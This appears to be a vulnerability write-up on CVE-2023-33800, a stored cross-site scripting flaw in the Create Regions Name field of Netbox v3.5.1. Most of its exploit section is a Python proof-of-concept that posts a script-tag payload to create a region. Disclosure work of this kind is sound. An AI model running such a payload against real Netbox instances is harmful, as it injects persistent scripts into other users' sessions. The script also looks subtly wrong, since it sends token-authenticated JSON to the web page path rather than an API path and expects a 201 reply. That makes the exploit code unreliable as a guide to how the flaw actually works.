CVE-2023-33800 - Stored Cross-Site Scripting (XSS) Vulnerability in Netbox v3.5.1 Create Regions Function

Netbox, an open-source web application designed for managing and documenting networks specifically, has recently been discovered to have a stored cross-site scripting (XSS) vulnerability in its Create Regions (located at /dcim/regions/) function. This vulnerability has been assigned the CVE-2023-33800 identifier and affects Netbox version 3.5.1. In this post, we will discuss the details of the vulnerability, provide a code snippet demonstrating the issue, and link to relevant references for further reading.

Details of the Vulnerability

In the Create Regions function of Netbox v3.5.1, attackers can exploit a stored XSS vulnerability by injecting a specifically crafted payload into the Name field. This payload contains arbitrary web scripts or HTML, which can be executed when the affected page is loaded by a user who has the necessary access rights.

Exploit Details

The vulnerability can be exploited by crafting an HTTP POST request to the /dcim/regions/ URL with the malicious payload in the Name field. When a user with appropriate access rights visits the affected page, the injected script will execute in their browser, potentially compromising sensitive data or performing unauthorized actions on their behalf.

To better demonstrate this vulnerability, here is a sample code snippet showcasing the payload and exploitation method:

import requests

# Replace with the target URL and your Netbox API token
target_url = 'https://target-url.com/dcim/regions/';
api_token = 'YOUR_NETBOX_API_TOKEN'

# Crafted payload
payload = "<script>alert('XSS')</script>"

# Craft the HTTP POST request headers and data
headers = {
    "Authorization": f"Token {api_token}",
    "Content-Type": "application/json",
}
data = {
    "name": payload,
}

# Send the HTTP POST request to create a new region with XSS payload
response = requests.post(target_url, headers=headers, json=data)

# Check if the request was successful
if response.status_code == 201:
    print("New region with XSS payload created.")
else:
    print("Failed to create new region.")

Upon executing this script, a new region will be created in the target Netbox instance, containing the XSS payload in its name. When a user visits the regions page, the payload will execute, triggering an alert with the message "XSS".

Original References

For further reading and more information about this vulnerability, you may refer to the following references:

1. Official Netbox GitHub Repository: https://github.com/netbox-community/netbox
2. Official Netbox Documentation: https://netbox.readthedocs.io/
3. CVE-2023-33800 Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33800

Conclusion

In conclusion, the stored XSS vulnerability in Netbox v3.5.1's Create Regions function poses a considerable risk to organizations using this version of the software. By taking advantage of this vulnerability, attackers can execute arbitrary web scripts or HTML and potentially compromise sensitive data or perform unauthorized actions. Users of Netbox v3.5.1 are strongly encouraged to update their software to the latest version to mitigate this risk.

Timeline

Published on: 05/24/2023 20:15:00 UTC
Last modified on: 05/27/2023 03:41:00 UTC